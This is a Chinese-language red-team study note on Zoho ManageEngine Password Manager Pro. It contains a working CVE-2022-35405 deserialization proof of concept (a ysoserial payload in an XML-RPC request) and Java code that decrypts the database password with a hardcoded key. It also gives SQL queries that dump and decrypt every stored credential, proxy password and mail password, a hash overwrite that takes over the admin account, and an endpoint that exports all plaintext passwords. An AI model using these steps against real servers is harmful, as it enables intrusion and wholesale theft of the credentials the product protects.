简介
学习zoho pmp这块相关知识点,简单做个总结
指纹
server=="PMP"
默认开启在7272端口
安装
windows
下载安装包,双击一路下一步即可
https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe
访问127.0.0.1:7272
linux
下载安装包
https://archives2.manageengine.com/passwordmanagerpro/10501/ManageEngine_PMP_64bit.bin
chmod a+x ManageEngine_PMP_64bit.bin
./ManageEngine_PMP_64bit.bin -i console
cd /root/ManageEngine/PMP/bin
bash pmp.sh install
等待安装完毕,访问127.0.0.1:7272即可
ppm 文件
ppm是pmp的更新包,在windows上通过UpdateManager.bat进行安装,在linux上通过UpdateManager.sh进行安装
通过对比安装ppm包前后的文件结构可以粗略判断一些漏洞的影响点,修复点
判断版本
在访问站点时,其默认加载的js、css路径中就包含了版本信息,如下图,12121
代表其版本号
在官方站点可以下载相应版本号的安装包
CVE-2022-35405
这个洞影响范围 12100 及以下版本,在 12101 被修复
poc
使用ysoserial
的CommonsBeanutils1
来生成Payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping xxxx.dnslog.cn" | base64 | tr -d "\n"
替换到下面的[base64-payload]
部分
POST /xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
密钥文件
windows
以windows平台的pmp为例
database_params.conf
文件中存储了数据库的用户名和加密数据库密码。
# $Id$
# driver name
drivername=org.postgresql.Driver
# login username for database if any
username=pmpuser
# password for the db can be specified here
password=NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=
# url is of the form jdbc:subprotocol:DataSourceName for eg.jdbc:odbc:WebNmsDB
url=jdbc:postgresql://localhost:2345/PassTrix?ssl=require
# Minumum Connection pool size
minsize=1
# Maximum Connection pool size
maxsize=20
# transaction Isolation level
#values are Constanst defined in java.sql.connection type supported TRANSACTION_NONE 0
#Allowed values are TRANSACTION_READ_COMMITTED , TRANSACTION_READ_UNCOMMITTED ,TRANSACTION_REPEATABLE_READ , TRANSACTION_SERIALIZABLE
transaction_isolation=TRANSACTION_READ_COMMITTED
exceptionsorterclassname=com.adventnet.db.adapter.postgres.PostgresExceptionSorter
# check is the database password encrypted or not
db.password.encrypted=true
可以看到默认 pgsql 用户为pmpuser
,而加密的数据库密码为NYubvnnJJ6ii871X/dYr5xwkr1P6yGCEeoA=
pmp_key.key
文件显示 PMP 密钥,这个用于加密数据库中的密码
#本文件是由PMP自动生成的,它包含了本次安装所使用的AES加密主密钥。
#该文件默认存储在<PMP_HOME>/conf目录中。除非您的服务器足够安全,不允许其他任何非法访问,
#否则,该文件就有可能泄密,属于安全隐患。因此,强烈建议您将该文件从默认位置移动到
#PMP安装服务器以外的其它位置(如:文件服务器、U盘等),并按照安全存储要求保存该文件。
#Fri Oct 21 16:08:30 CST 2022
ENCRYPTIONKEY=G8N1EX+nkQlPVpd29eenVOYWCCS0oF/EPZdswlorot8\=
Linux
database_params.conf
文件存放在/root/ManageEngine/PMP/conf/database_params.conf
pmp_key.key
文件存放在/root/ManageEngine/PMP/conf/pmp_key.key
恢复pgsql的密码
要连接pgsql,首先需要解密pmp加密的pgsql数据库密码
找下pmp对数据库密码的加密逻辑,在shielder的文章 https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/ 给出了加密类
找到对应jar文件
反编译查看解密的逻辑
可以发现encodedKey是取@dv3n7n3tP@55Tri*
的5到10位
通过使用其DecryptDBPassword函数可以解密数据库密码,不过在shielder的文章中给出了解密的代码,直接解密
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.lang.StringBuilder;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
class PimpMyPMP {
public synchronized String decrypt(byte[] cipherText, String password) throws Exception {
Cipher cipher;
byte[] aeskey;
for (int i = password.length(); i < 32; ++i) {
password = password + " ";
}
if (password.length() > 32) {
try {
aeskey = Base64.getDecoder().decode(password);
} catch (IllegalArgumentException e) {
aeskey = password.getBytes();
}
}
aeskey = password.getBytes();
try {
byte[] ivArr = new byte[16];
for (int i = 0; i < 16; ++i) {
ivArr[i] = cipherText[i];
}
cipher = Cipher.getInstance("AES/CTR/NoPadding");
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
PBEKeySpec spec = new PBEKeySpec(new String(aeskey, "UTF-8").toCharArray(), new byte[]{1, 2, 3, 4, 5, 6, 7, 8}, 1024, 256);
SecretKey temp = factory.generateSecret(spec);
SecretKeySpec secret = new SecretKeySpec(temp.getEncoded(), "AES");
cipher.init(2, (Key) secret, new IvParameterSpec(ivArr));
byte[] cipherTextFinal = new byte[cipherText.length - 16];
int j = 0;
for (int i = 16; i < cipherText.length; ++i) {
cipherTextFinal[j] = cipherText[i];
++j;
}
return new String(cipher.doFinal(cipherTextFinal), "UTF-8");
} catch (IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException | NoSuchPaddingException |
InvalidKeyException | InvalidAlgorithmParameterException | InvalidKeySpecException ex) {
ex.printStackTrace();
throw new Exception("Exception occurred while encrypting", ex);
}
}
private static String hardcodedDBKey() throws NoSuchAlgorithmException {
String key = "@dv3n7n3tP@55Tri*".substring(5, 10);
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(key.getBytes());
byte[] bkey = md.digest();
StringBuilder sb = new StringBuilder(bkey.length * 2);
for (byte b : bkey) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
public String decryptDBPassword(String encPassword) throws Exception {
String decryptedPassword = null;
if (encPassword != null) {
try {
decryptedPassword = this.decryptPassword(encPassword, PimpMyPMP.hardcodedDBKey());
} catch (Exception e) {
throw new Exception("Exception ocuured while decrypt the password");
}
return decryptedPassword;
}
throw new Exception("Password should not be Null");
}
public String decryptPassword(String encryptedPassword, String key) throws Exception {
String decryptedPassword = null;
if (encryptedPassword == null || "".equals(encryptedPassword)) {
return encryptedPassword;
}
try {
byte[] encPwdArr = Base64.getDecoder().decode(encryptedPassword);
decryptedPassword = this.decrypt(encPwdArr, key);
} catch (Exception ex) {
ex.printStackTrace();
}
return decryptedPassword;
}
public static void main(String[] args) {
PimpMyPMP klass = new PimpMyPMP();
try {
// database_params.conf
String database_password = "";
System.out.print("Database Key: ");
System.out.println(klass.decryptDBPassword(database_password));
// pmp_key.key
String pmp_password = "";
// select notesdescription from Ptrx_NotesInfo
String notesdescription = "";
System.out.print("MASTER Key: ");
System.out.println(klass.decryptPassword(notesdescription, pmp_password));
// decryptschar(column, master_key)
String passwd = "";
System.out.print("Passwd: ");
System.out.println(klass.decryptPassword(passwd, pmp_password));
} catch (Exception e) {
System.out.println("Fail!");
}
}
}
填入加密的数据库密码,查看结果
可以看到密码为:sC1ekMrant
连接pgsql测试
这里注意,pmp默认的pgsql是只监听127的2345,无法外部连接,如果是rce打的,可以自行进行端口转发
获取master key
在连接数据库后,查询加密的master key
select notesdescription from Ptrx_NotesInfo
这里通过pmp_key.key
文件中的PMP 密钥来解密master key
shielder的代码在解的时候有些问题,这里使用https://github.com/trustedsec/Zoinks项目来进行解密
得到master key
解密数据库中的密码
首先先查询数据库中的存储的密码
select ptrx_account.RESOURCEID, ptrx_resource.RESOURCENAME, ptrx_resource.RESOURCEURL, ptrx_password.DESCRIPTION, ptrx_account.LOGINNAME, decryptschar(ptrx_passbasedauthen.PASSWORD,'***master_key***') from ptrx_passbasedauthen LEFT JOIN ptrx_password ON ptrx_passbasedauthen.PASSWDID = ptrx_password.PASSWDID LEFT JOIN ptrx_account ON ptrx_passbasedauthen.PASSWDID = ptrx_account.PASSWDID LEFT JOIN ptrx_resource ON ptrx_account.RESOURCEID = ptrx_resource.RESOURCEID
用master key
替换语句里的***master_key***
部分
继续使用Zoinks进行解密
这里解密出test资源,root用户的明文口令123456
解密代理配置
当配置了代理服务器时,同样用类似的方法进行查询和解密
select proxy_id,direct_connection,proxy_server,proxy_port,username,decryptschar(ptrx_proxysettings.PASSWORD,'***master_key***') from ptrx_proxysettings
解密邮件服务器配置
pmp这个默认都是配置了邮件服务器的
select mailid,mailserver,mailport,sendermail,username,decryptschar(ptrx_mailsettings.PASSWORD,'***master_key***'),tls,ssl,tlsifavail,never from ptrx_mailsettings
pg数据库postgres用户密码
select username,decryptschar(dbcredentialsaudit.PASSWORD,'***master_key***'),last_modified_time from dbcredentialsaudit
进入 pmp web后台
在数据库中查询web后台的账号密码
select * from aaauser;
select * from aaapassword;
这里密码是进行bcryptsha512加密的,可以用hashcat进行爆破
也可通过覆盖hash的方式修改admin账号的密码,例如修改为下列数据,即可将admin密码改为test2
"password_id" "password" "algorithm" "salt" "passwdprofile_id" "passwdrule_id" "createdtime" "factor"
"1" "$2a$12$bOUtxZzgrAu.3ApJM7fUYu7xBfxhJ4k2gx5CQE5BzMcN.cr/6cbhy" "bcrypt" "wwwECQECvU8zqfmCnXfSTgFnfz9CDl/cX+yDwJEhJ+91ADnOHbR0q7rOASpBqm2mQgYLHtlUJSX5u4ad7yOJpVNkoPJoI6gev75VAwAf/BTM4rpHTLT+cCdWMwnHmg==" "1" "3" "1666345834309" "12"
注意⚠️:覆盖前务必备份源hash数据
进入后台后可直接导出所有明文密码
/jsp/xmlhttp/AjaxResponse.jsp?RequestType=ExportPasswords
本地 Web-Accounts reports 文件
在后台personal页面导出个人报告时可以选择pdf或xls格式,该文件在导出后会一直存在在服务器上
这个问题在12122被修复
Source & Reference
- https://www.trustedsec.com/blog/the-curious-case-of-the-password-database/
- https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/
- https://y4er.com/posts/cve-2022-35405-zoho-password-manager-pro-xml-rpc-rce
- https://github.com/trustedsec/Zoinks
- https://www.manageengine.com/products/passwordmanagerpro/help/installation.html#inst-lin
- https://github.com/3gstudent/3gstudent.github.io/blob/main/_posts/---2022-8-12-Password Manager Pro漏洞调试环境搭建.md
- https://github.com/3gstudent/3gstudent.github.io/blob/main/_posts/---2022-8-17-Password Manager Pro利用分析——数据解密.md